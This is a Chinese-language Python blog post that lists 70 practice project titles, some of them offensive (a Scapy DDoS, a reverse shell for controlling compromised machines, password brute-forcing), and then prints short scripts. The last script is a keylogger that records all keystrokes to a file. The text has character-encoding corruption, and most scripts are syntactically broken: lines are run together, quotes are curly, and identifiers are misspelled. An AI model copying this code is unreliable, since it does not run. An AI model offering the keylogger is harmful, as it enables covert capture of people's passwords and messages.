不管學(xué)習(xí)哪門語言都希望能做出實際的東西來,這個實際的東西當(dāng)然就是項目啦,不用多說大家都知道學(xué)編程語言一定要做項目才行。
這里整理了70個Python實戰(zhàn)項目列表,都有完整且詳細的教程,你可以從中選擇自己想做的項目進行參考學(xué)習(xí)練手,你也可以從中尋找靈感去做自己的項目。
1、Python 圖片轉(zhuǎn)字符畫
2、200行Python代碼實現(xiàn)2048
3、Python3實現(xiàn)火車票查詢工具
4、高德API+Python解決租房問題
5、Python3 色情圖片識別
6、Python 破解驗證碼
7、Python實現(xiàn)簡單的Web服務(wù)器
8、Python開發(fā)打飛機游戲
9、Django搭建簡易博客
10、Python基于共現(xiàn)提取《釜山行》人物關(guān)系
11、基于scrap爬蟲的天氣數(shù)據(jù)采集(python)
12、Flask 開發(fā)輕博客
13、Python3 圖片隱寫術(shù)
14、Python 實現(xiàn)簡易 Shell
15、使用 Python 解數(shù)學(xué)方程
16、PyQt 實現(xiàn)簡易瀏覽器
17、神經(jīng)網(wǎng)絡(luò)實現(xiàn)手寫字符識別系統(tǒng)
18、Python 實現(xiàn)簡單畫板
19、Python實現(xiàn)3D建模工具
20、NBA常規(guī)賽結(jié)果預(yù)測——利用Python進行比賽數(shù)據(jù)分析
21、神經(jīng)網(wǎng)絡(luò)實現(xiàn)人臉識別任務(wù)
22、Python文本解析器
23、Python3 & OpenCV 視頻轉(zhuǎn)字符動畫
24、Python3 實現(xiàn)淘女郎照片爬蟲
25、Python3實現(xiàn)簡單的FTP認(rèn)證服務(wù)器
26、基于 Flask 與 MySQL 實現(xiàn)番劇推薦系統(tǒng)
27、Python 實現(xiàn)端口掃描器
28、使用 Python 3 編寫系列實用腳本
29、Python 實現(xiàn)康威生命游戲
30、川普撞臉希拉里(基于OpenCV的面部特征交換)
31、Python 3 實現(xiàn) Markdown 解析器
32、Python 氣象數(shù)據(jù)分析 — 《Python 數(shù)據(jù)分析實戰(zhàn)》
33、Python實現(xiàn)鍵值數(shù)據(jù)庫
34、k-近鄰算法實現(xiàn)手寫數(shù)字識別系統(tǒng)
35、ebay在線拍賣數(shù)據(jù)分析
36、Python 實現(xiàn)英文新聞?wù)詣犹崛?/h1>37、Python實現(xiàn)簡易局域網(wǎng)視頻聊天工具
38、基于 Flask 及爬蟲實現(xiàn)微信娛樂機器人
39、Python實現(xiàn)Python解釋器
40、Python3基于Scapy實現(xiàn)DDos
41、Python 實現(xiàn)密碼強度檢測器
42、使用 Python 實現(xiàn)深度神經(jīng)網(wǎng)絡(luò)
43、Python實現(xiàn)從excel讀取數(shù)據(jù)并繪制成精美圖像
44、人機對戰(zhàn)初體驗:Python基于實現(xiàn)四子棋游戲
45、Python實現(xiàn)可控制肉雞的反向Shell
46、Python打造漏洞掃描器
47、Python應(yīng)用馬爾可夫鏈算法實現(xiàn)隨機文本生成
48、數(shù)獨游戲的Python實現(xiàn)與破解
49、使用Python定制詞云
50、Python開發(fā)簡單計算器
51、Python 實現(xiàn) FTP 弱口令掃描器
52、Python實現(xiàn)Huffman編碼解壓縮文件
53、Python實現(xiàn)Zip文件的暴力破解
54、Python智能裁切圖片
55、Python實現(xiàn)網(wǎng)站模擬登陸
56、給Python爬蟲做一個界面.妹子圖網(wǎng)實戰(zhàn)
57、Python 3 實現(xiàn)圖片轉(zhuǎn)彩色字符
58、自聯(lián)想器的Python 實現(xiàn)
59、Python實現(xiàn)簡單濾鏡
60、Flask實現(xiàn)簡單聊天室
61、基于PyQt實現(xiàn)地圖中定位相片拍攝位置
62、Python實現(xiàn)模板引擎
63、Python實現(xiàn)遺傳算法求解n-queens問題
64、Python3實現(xiàn)命令行動態(tài)進度條
65、Python 獲取掛號信息并郵件通知
66、Python實現(xiàn)java web項目遠端自動化更新部署
67、使用 Python3編寫Github 自動周報生成器
68、使用 Python 生成分形圖片
69、Python 實現(xiàn)Redis 異步客戶端
70、Python 實現(xiàn)中文錯別字高亮系統(tǒng)
鬧鐘
編寫一個創(chuàng)建鬧鐘的Python腳本。
你可以使用date-time模塊創(chuàng)建鬧鐘,以及playsound庫播放聲音。
from datetime import datetime from playsound import playsoundalarm_time = input(“Enter the time of alarm to be set:HH:MM:SS”)alarm_hour=alarm_time[0:2]alarm_minute=alarm_time[3:5]alarm_seconds=alarm_time[6:8]alarm_period = alarm_time[9:11].upper()print(“Setting up alarm..”)while True: now = datetime.now() current_hour = now.strftime(“%I”) current_minute = now.strftime(“%M”) current_seconds = now.strftime(“%S”) current_period = now.strftime(“%p”) if(alarm_period==current_period): if(alarm_hour==current_hour): if(alarm_minute==current_minute): if(alarm_seconds==current_seconds): print(“Wake Up!”) playsound(‘audio.mp3’) ## download the alarm sound from link break
文字冒險游戲
編寫一個有趣的Python腳本,通過為路徑選擇不同的選項讓用戶進行有趣的冒險。
name = str( input(“Enter Your Mame”))print(f”{name} you are stuck in a forest.Your task is to get out from the forest withoutdieing”)print(“You are walking threw forest and suddenly a wolf comes in your way.Now Youoptions.”)print(“1.Run 2. climb The Nearest Tree “)user = int(input(“choose one option 1 or 2”))if user = 1: print(“You Died!!”)elif user = 2: print(“You Survived!!”)else: print(“Incorrect Input”)#### Add a loop and increase the story as much as you can
有聲讀物
編寫一個Python腳本,用于將Pdf文件轉(zhuǎn)換為有聲讀物。
借助pyttsx3庫將文本轉(zhuǎn)換為語音。
要安裝的模塊:
pyttsx3PyPDF2import pyttsx3,PyPDF2DdfReader = pyPDF2.PdfFileReader(open( “file.pdf’,”rb’))speaker = pyttsx3.init()for page_num in range(pdfReader.numPages): text =pdfReader.getPage(page_num).extractText() speaker.say(text) speaker.runAndwait()speaker.stopo()
貨幣換算器
編寫一個Python腳本,可以將一種貨幣轉(zhuǎn)換為其他用戶選擇的貨幣。
使用Python中的API,或者通過forex-python模塊來獲取實時的貨幣匯率。
安裝:forex-python
from forex _python.converter import CurrencyRatesc = CurrencyRates()amount = int(input(“Enter The Amount You Want To Convert”))from_currency = input( “From” )-upper()to_currency = input( “To”).upper()print(from_currency,”To”,to_currency , amount)result = c.convert(from_currency, to_currency, amount)print(result)
天氣應(yīng)用
編寫一個Python腳本,接收城市名稱并使用爬蟲獲取該城市的天氣信息。
你可以使用Beautifulsoup和requests庫直接從谷歌主頁爬取數(shù)據(jù)。
安裝:
requestsBeautifulSoupfrom bs4 import BeautifulSoupimport requestsheaders = {‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3′} def weather(city): city=city.replace(” “,”+”) res = requests.get(f’https://www.google.com/search?q={city}&oq={city}&aqs=chrome.0.35i39l2j0l4j46j69i60.6128j1j7&sourceid=chrome&ie=UTF-8′,headers=headers) print(“Searching in google……”) soup = BeautifulSoup(res.text,’html.parser’) location = soup.select(‘#wob_loc’)[0].getText().strip() time = soup.select(‘#wob_dts’)[0].getText().strip() info = soup.select(‘#wob_dc’)[0].getText().strip() weather = soup.select(‘#wob_tm’)[0].getText().strip() print(location) print(time) print(info) print(weather+” C”) print(“enter the city name”)city=input()city=city+” weather”weather(city)
人臉檢測
編寫一個Python腳本,可以檢測圖像中的人臉,并將所有的人臉保存在一個文件夾中。
可以使用haar級聯(lián)分類器對人臉進行檢測。它返回的人臉坐標(biāo)信息,可以保存在一個文件中。
安裝:
OpenCV
下載:haarcascade_frontalface_default.xml
import cv2# Load the cascadeface_cascade = cv2.CascadeClassifier(‘haarcascade_frontalface_default.xml’)# Read the input imageimg = cv2.imread(‘images/img0.jpg’)# Convert into grayscalegray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)# Detect facesfaces = face_cascade.detectMultiScale(gray, 1.3, 4)# Draw rectangle around the facesfor (x, y, w, h) in faces: cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2) crop_face = img[y:y + h, x:x + w] cv2.imwrite(str(w) + str(h) + ‘_faces.jpg’, crop_face)# Display the outputcv2.imshow(‘img’, img)cv2.imshow(“imgcropped”,crop_face)cv2.waitKey()
提醒應(yīng)用
創(chuàng)建一個提醒應(yīng)用程序,在特定的時間提醒你做一些事情(桌面通知)。Time模塊可以用來跟蹤提醒時間,toastnotifier庫可以用來顯示桌面通知。
安裝:win10toast
from win10toast import ToastNotifierimport timetoaster = ToastNotifier()try: print(“Title of reminder”) header = input() print(“Message of reminder”) text = input() print(“In how many minutes?”) time_min = input() time_min=float(time_min)except: header = input(“Title of reminder”) text = input(“Message of remindar”) time_min=float(input(“In how many minutes?”))time_min = time_min * 60print(“Setting up reminder..”)time.sleep(2)print(“all set!”)time.sleep(time_min)toaster.show_toast(f”{header}”,f”{text}”,duration=10,threaded=True)while toaster.notification_active(): time.sleep(0.005)
Hangman
創(chuàng)建一個簡單的命令行hangman游戲。
創(chuàng)建一個密碼詞的列表并隨機選擇一個單詞。現(xiàn)在將每個單詞用下劃線“”表示,給用戶提供猜單詞的機會,如果用戶猜對了單詞,則將“”用單詞替換。
import timeimport randomname = input(“What is your name? “)print (“Hello, ” + name, “Time to play hangman!”)time.sleep(1)print (“Start guessing…”)time.sleep(0.5)## A List Of Secret Wordswords = [‘python’,’programming’,’treasure’,’creative’,’medium’,’horror’]word = random.choice(words)guesses = ”turns = 5while turns > 0: failed = 0 for char in word: if char in guesses: print (char,end=””) else: print (“_”,end=””), failed += 1 if failed == 0: print (“You won”) break guess = input(“guess a character:”) guesses += guess if guess not in word: turns -= 1 print(“Wrong”) print(“You have”, + turns, ‘more guesses’) if turns == 0: print (“You Lose”)
文章朗讀器
編寫一個Python腳本,自動從提供的鏈接讀取文章。
import pyttsx3import requestsfrom bs4 import BeautifulSoupurl = str(input(“Paste article url”)) def content(url): res = requests.get(url) soup = BeautifulSoup(res.text,’html.parser’) articles = [] for i in range(len(soup.select(‘.p’))): article = soup.select(‘.p’)[i].getText().strip() articles.append(article) contents = ” “.join(articles) return contentsengine = pyttsx3.init(‘sapi5’)voices = engine.getProperty(‘voices’)engine.setProperty(‘voice’, voices[0].id) def speak(audio): engine.say(audio) engine.runAndWait() contents = content(url)## print(contents) ## In case you want to see the content #engine.save_to_file#engine.runAndWait() ## In case if you want to save the article as a audio file
鍵盤記錄器
編寫一個Python腳本,將用戶按下的所有鍵保存在一個文本文件中。
pynput是Python中的一個庫,用于控制鍵盤和鼠標(biāo)的移動,它也可以用于制作鍵盤記錄器。簡單地讀取用戶按下的鍵,并在一定數(shù)量的鍵后將它們保存在一個文本文件中。
from pynput.keyboard import Key, Controller,Listenerimport timekeyboard = Controller() keys=[]def on_press(key): global keys #keys.append(str(key).replace(“‘”,””)) string = str(key).replace(“‘”,””) keys.append(string) main_string = “”.join(keys) print(main_string) if len(main_string)>15: with open(‘keys.txt’, ‘a’) as f: f.write(main_string) keys= [] def on_release(key): if key == Key.esc: return False with listener(on_press=on_press,on_release=on_release) as listener: listener.join()
額外福利
今日福利:麥?zhǔn)錚ython學(xué)習(xí)資源大禮包 讓你走上巔峰
- Python之AIoT學(xué)習(xí)資料
- Python之入門教程完整版
- Python之配套書籍
- Python之?dāng)?shù)據(jù)分析與挖掘?qū)崙?zhàn)
- Python之人工智能資料
- Python之全棧開發(fā)資料
- Python之?dāng)?shù)據(jù)分析實戰(zhàn)項目
- Python之物聯(lián)網(wǎng)實戰(zhàn)項目
- Python之?dāng)?shù)據(jù)分析30個實戰(zhàn)項目
完整資源獲取方式
關(guān)注“麥?zhǔn)錚ython”頭條號,評論轉(zhuǎn)發(fā)私信:666即可獲取